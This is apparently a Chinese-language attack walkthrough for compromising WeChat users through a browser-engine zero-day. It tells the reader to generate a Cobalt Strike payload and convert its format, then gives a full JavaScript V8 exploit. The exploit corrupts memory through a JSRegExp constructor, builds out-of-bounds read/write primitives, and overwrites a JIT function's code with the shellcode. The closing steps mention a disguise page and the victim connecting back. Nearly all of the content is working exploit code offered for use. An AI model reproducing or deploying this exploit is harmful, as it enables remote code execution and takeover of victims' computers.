微信0Day上线CS

1. 使用CS生成PayLoad

   使用C语言生成payload

2. 对Payload做处理

   替换“/" 为“,0”，这里注意逗号

3. exp文件

   ENABLE_LOG = true;
   IN_WORKER = true;
   
   // run calc and hang in a loop
   var shellcode = [此处插入上面处理好的payload];
   
   function print(data) {
   }
   
   var not_optimised_out = 0;
   var target_function = (function (value) {
       if (value == 0xdecaf0) {
           not_optimised_out += 1;
       }
       not_optimised_out += 1;
       not_optimised_out |= 0xff;
       not_optimised_out *= 12;
   });
   
   for (var i = 0; i < 0x10000; ++i) {
       target_function(i);
   }
   
   var g_array;
   var tDerivedNCount = 17 * 87481 - 8;
   var tDerivedNDepth = 19 * 19;
   
   function cb(flag) {
       if (flag == true) {
           return;
       }
       g_array = new Array(0);
       g_array[0] = 0x1dbabe * 2;
       return 'c01db33f';
   }
   
   function gc() {
       for (var i = 0; i < 0x10000; ++i) {
           new String();
       }
   }
   
   function oobAccess() {
       var this_ = this;
       this.buffer = null;
       this.buffer_view = null;
   
       this.page_buffer = null;
       this.page_view = null;
   
       this.prevent_opt = [];
   
       var kSlotOffset = 0x1f;
       var kBackingStoreOffset = 0xf;
   
       class LeakArrayBuffer extends ArrayBuffer {
           constructor() {
               super(0x1000);
               this.slot = this;
           }
       }
   
       this.page_buffer = new LeakArrayBuffer();
       this.page_view = new DataView(this.page_buffer);
   
       new RegExp({ toString: function () { return 'a' } });
       cb(true);
   
       class DerivedBase extends RegExp {
           constructor() {
               // var array = null;
               super(
                   // at this point, the 4-byte allocation for the JSRegExp `this` object
                   // has just happened.
                   {
                       toString: cb
                   }, 'g'
                   // now the runtime JSRegExp constructor is called, corrupting the
                   // JSArray.
               );
   
               // this allocation will now directly follow the FixedArray allocation
               // made for `this.data`, which is where `array.elements` points to.
               this_.buffer = new ArrayBuffer(0x80);
               g_array[8] = this_.page_buffer;
           }
       }
   
       // try{
       var derived_n = eval(`(function derived_n(i) {
           if (i == 0) {
               return DerivedBase;
           }
   
           class DerivedN extends derived_n(i-1) {
               constructor() {
                   super();
                   return;
                   ${"this.a=0;".repeat(tDerivedNCount)}
               }
           }
   
           return DerivedN;
       })`);
   
       gc();
   
       new (derived_n(tDerivedNDepth))();
   
       this.buffer_view = new DataView(this.buffer);
       this.leakPtr = function (obj) {
           this.page_buffer.slot = obj;
           return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
       }
   
       this.setPtr = function (addr) {
           this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
       }
   
       this.read32 = function (addr) {
           this.setPtr(addr);
           return this.page_view.getUint32(0, true, ...this.prevent_opt);
       }
   
       this.write32 = function (addr, value) {
           this.setPtr(addr);
           this.page_view.setUint32(0, value, true, ...this.prevent_opt);
       }
   
       this.write8 = function (addr, value) {
           this.setPtr(addr);
           this.page_view.setUint8(0, value, ...this.prevent_opt);
       }
   
       this.setBytes = function (addr, content) {
           for (var i = 0; i < content.length; i++) {
               this.write8(addr + i, content[i]);
           }
       }
       return this;
   }
   
   function trigger() {
       var oob = oobAccess();
   
       var func_ptr = oob.leakPtr(target_function);
       print('[*] target_function at 0x' + func_ptr.toString(16));
   
       var kCodeInsOffset = 0x1b;
   
       var code_addr = oob.read32(func_ptr + kCodeInsOffset);
       print('[*] code_addr at 0x' + code_addr.toString(16));
   
       oob.setBytes(code_addr, shellcode);
   
       target_function(0);
   }
   
   try{
       print("start running");
       trigger();
   }catch(e){
       print(e);
   }

4. 伪装页面

   

5. 微信上线